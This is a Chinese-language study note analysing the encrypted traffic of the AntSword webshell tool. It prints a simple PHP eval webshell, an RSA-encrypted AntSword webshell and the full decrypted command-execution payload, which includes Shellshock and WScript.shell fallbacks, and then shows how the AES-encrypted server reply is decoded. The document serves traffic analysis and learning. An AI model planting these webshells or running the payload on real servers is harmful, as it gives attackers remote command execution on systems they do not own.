蚁剑流量分析&webshell

webshell理解

webshell的本质是传入命令并且执行。
常见的php webshell

1
<?php eval($_POST['cmd'];?>) 

shell.php
访问shell.php的时候post一个参数cmd,
如果传入的是cmd=system(“whoami”)的话就会执行whoami。
webshell相当于网站管理功能,提供列目录,修改文件,虚拟终端等操作,这些可视化操作的背后其实是一条条PHP语句写的,然后送到服务器执行,然后根据返回结果可视化到管理终端。
shell与waf一直在升级,衍生出了各种混淆方法。当然,waf也在抓特征流量进行拦截。

蚁剑流量分析

今天分析的是昨天没看完的蚁剑流量。发送数据采用RSA加密,服务器返回数据采用AES加密。
shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCd3U6xkZFNwFKSRlRa+Jsdy0/E
rkpoq9A/Xl58TfOL5ghxaQh91zWriwpsMVMdjkORzTNM0yrKoyF2+LjxzE2wW6Qt
/NC6dQgUKQQJk9ypgq4Po9ypxxI8AdtthKSelijpqD5YsXZYSFGCyLNaC33+pVp2
wQUED9OTJg9AuXIG4QIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
eval($cmd);

首先模拟一次过程:启动虚拟终端并输入whoami查询。

在wireshark抓到数据包:

追踪HTTP流量:

对发送的数据进行还原

使用私钥加密的数据用公钥解密。
解密后数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php ant=@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){@session_start();$key=@substr(str_pad(session_id(),16,'a'),0,16);return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));};
//采用AES加密输出,key为session前16位。
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "3c5e3e9640";echo @asenc($output);echo "cda10a9ad";}
//输出内容
ob_start();

try{$p=base64_decode($_POST["kba6818a1ddd35"]);$s=base64_decode($_POST["med28329bbe5b9"]);$envstr=@base64_decode($_POST["v610da0caba97e"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);
//获取下面post的参数,分别是cmd和whoami。
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}
if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}
//判断是Linux还是Windows
$r="{$p} {$c}";
//拼接命令
function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};

function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};
//命令执行函数
$ret=@runcmd($r." 2>&1");
//命令执行并且stderr重定向到stdout
print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};
asoutput();
//执行入口
die();

//这里是post的数据,对应上面的med28329bbe5b9和kba6818a1ddd35。。。&kba6818a1ddd35=Y21k&med28329bbe5b9=Y2QgL2QgIkU6XFxwaHBzdHVkeV9wcm9cXFdXV1xcdGVzdC5pbyImd2hvYW1pJmVjaG8gW1NdJmNkJmVjaG8gW0Vd&v610da0caba97e=
?>

具体的操作写在上方注释里了,比较清楚。

实战

接下来启动虚拟终端,传入whoami ,并且执行,查看数据包。

返回数据解密

客户端收到数据后会用约定的key进行解密。
返回数据:
注意:返回的数据里面并不全是有效加密内容,前后存在两端干扰数据,可以在 代码中看到分别是3c5e3e9640和cda10a9ad。中间的数据才是真正有用的数据。
首先对中间的数据base64解密一次,然后使用AES-128-ECB解密。key为session前16位:substr(sessionid,0,16);。解密方法:openssl_decrypt($payload, ‘AES-128-ECB’, $key,OPENSSL_RAW_DATA)解密后数据:ZGVza3RvcC00dTgxYjg1XDY5MDI3DQpbU10NCkU6XHBocHN0dWR5X3Byb1xXV1dcdGVzdC5pbw0KW0VdIA0K
然后进行base64解密。解密后的数据:desktop-4u81b85\69027
[S]
E:\phpstudy_pro\WWW\test.io
[E]
就是执行whoami的结果。

总结

蚁剑流量分析算是看了一天,得益于前期对AES和RSA的基础知识,以至于不需要先看RSA和aes。。2333
在对shell和发送的代码进行分析的时候还是遇到了一点困难,有些地方只是大体明白了什么意思,比如识别是Linux还是Windows,但是细讲每一个函数的功能我还是不知道的。对此我的思路是既然目标是命令执行,那么就把底层的实现稍微抽象一点,不影响后续分析。
分析流量还是一件非常有意思的事情,虽然我没有机会打AWD,but I love AWD forever!!!!!!!